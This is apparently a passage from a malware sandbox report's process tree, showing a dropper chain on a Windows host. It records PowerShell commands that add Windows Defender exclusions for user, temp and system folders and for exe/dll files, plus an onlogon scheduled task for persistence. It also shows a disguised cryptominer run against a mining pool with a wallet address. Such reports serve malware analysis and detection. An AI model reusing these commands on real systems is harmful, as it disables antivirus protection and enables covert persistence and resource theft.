        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        17⤵
        Executes a command shell one-liner
        
        PID:6672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        18⤵
        
        PID:6292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        18⤵
        
        PID:7592
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        17⤵
        
        PID:7148
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6428
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        17⤵
        
        PID:7572
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        15⤵
        
        PID:5468
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        16⤵
        
        PID:1260
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        17⤵
        
        PID:6964
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        18⤵
        
        PID:7120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        19⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2284
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        19⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3968
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        18⤵
        Executes a command shell one-liner
        
        PID:4172
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        19⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1488
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        18⤵
        
        PID:14528
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        16⤵
        
        PID:4664
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        17⤵
        
        PID:5724
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        18⤵
        
        PID:3588
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        19⤵
        Executes a command shell one-liner
        
        PID:6984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        20⤵
        
        PID:6804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        20⤵
        
        PID:12724
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        19⤵
        
        PID:5792
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2784
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        19⤵
        
        PID:16192
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        17⤵
        
        PID:5808
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        18⤵
        
        PID:5492
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        19⤵
        
        PID:956
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        20⤵
        Executes a command shell one-liner
        
        PID:6420
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        21⤵
        
        PID:7436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        21⤵
        
        PID:8380
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        20⤵
        
        PID:7364
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        21⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7664
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        20⤵
        
        PID:13716
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        18⤵
        
        PID:6240
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        19⤵
        
        PID:6816
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        20⤵
        
        PID:7392
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        21⤵
        Executes a command shell one-liner
        
        PID:7456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        22⤵
        
        PID:7776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        22⤵
        
        PID:10476
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        21⤵
        Executes a command shell one-liner
        
        PID:7700
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8016
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        21⤵
        
        PID:5732
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        19⤵
        
        PID:6952
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        20⤵
        
        PID:6576
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        21⤵
        
        PID:7708
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        22⤵
        
        PID:7808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        23⤵
        
        PID:8140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        23⤵
        
        PID:13580
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        22⤵
        
        PID:7984
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        23⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7468
        
        C:\Windows\System32\conhost.exe
        
        C:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=45DbtR32y1cCw3WgPmCnRRJJhMHtGg61zXCBRHkzQaSfQo2aXjjYArfLq1HM9pYGjaAXGMgVTXYvrMqvLo57EojW9AMGfYs --pass=zanov --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
        22⤵
        
        PID:8540
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        20⤵
        
        PID:6336
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        21⤵
        
        PID:6956
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        22⤵
        
        PID:7992
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        23⤵
        Executes a command shell one-liner
        
        PID:8132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        24⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        24⤵
        
        PID:14320
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        23⤵
        
        PID:7588
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2472
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        23⤵
        Executes a command shell one-liner
        
        PID:11076
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        24⤵
        
        PID:10428
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        25⤵
        
        PID:11872
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        26⤵
        
        PID:12072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        27⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        27⤵
        
        PID:12932
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        21⤵
        
        PID:5152
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        22⤵
        
        PID:7188
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        23⤵
        
        PID:7292
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        24⤵
        
        PID:3292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        25⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        25⤵
        
        PID:4932
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        24⤵
        
        PID:204
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        25⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8448
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        24⤵
        
        PID:4116
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        25⤵
        
        PID:10960
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        26⤵
        
        PID:11188
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        27⤵
        
        PID:7244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        28⤵
        
        PID:1384
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        28⤵
        
        PID:9396
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        22⤵
        
        PID:7276
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        23⤵
        
        PID:7524
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        24⤵
        
        PID:7268
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        25⤵
        
        PID:5856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        26⤵
        
        PID:8440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        26⤵
        
        PID:13548
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        25⤵
        
        PID:6068
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        26⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9012
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        23⤵
        
        PID:7560
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        24⤵
        
        PID:7788
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        25⤵
        
        PID:8220
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        26⤵
        
        PID:8324
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        27⤵
        
        PID:8760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        27⤵
        
        PID:13944
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        26⤵
        Executes a command shell one-liner
        
        PID:680
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        27⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11672
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        26⤵
        
        PID:7220
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        27⤵
        
        PID:13368
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        28⤵
        
        PID:6544
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        29⤵
        Executes a command shell one-liner
        
        PID:9204
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        30⤵
        
        PID:10328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        30⤵
        
        PID:11768
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        24⤵
        
        PID:7860
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        25⤵
        
        PID:8100
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        26⤵
        
        PID:8548
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        27⤵
        
        PID:8664
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        28⤵
        
        PID:9048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        28⤵
        
        PID:14140
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        27⤵
        Executes a command shell one-liner
        
        PID:2188
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        28⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2400
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        27⤵
        
        PID:4904
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        28⤵
        
        PID:15380
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        29⤵
        
        PID:5752
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        30⤵
        Executes a command shell one-liner
        
        PID:11164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        31⤵
        
        PID:15932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        31⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16288
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        25⤵
        
        PID:8180
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        26⤵
        
        PID:7796
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        27⤵
        
        PID:8988
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        28⤵
        Executes a command shell one-liner
        
        PID:9060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        29⤵
        
        PID:7908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        29⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14768
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        28⤵
        Executes a command shell one-liner
        
        PID:16748
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        29⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:15448
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        28⤵
        
        PID:7592
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        29⤵
        
        PID:6084
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        30⤵
        
        PID:12332
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        31⤵
        
        PID:12796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        32⤵
        
        PID:7732
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        26⤵
        
        PID:7932
        
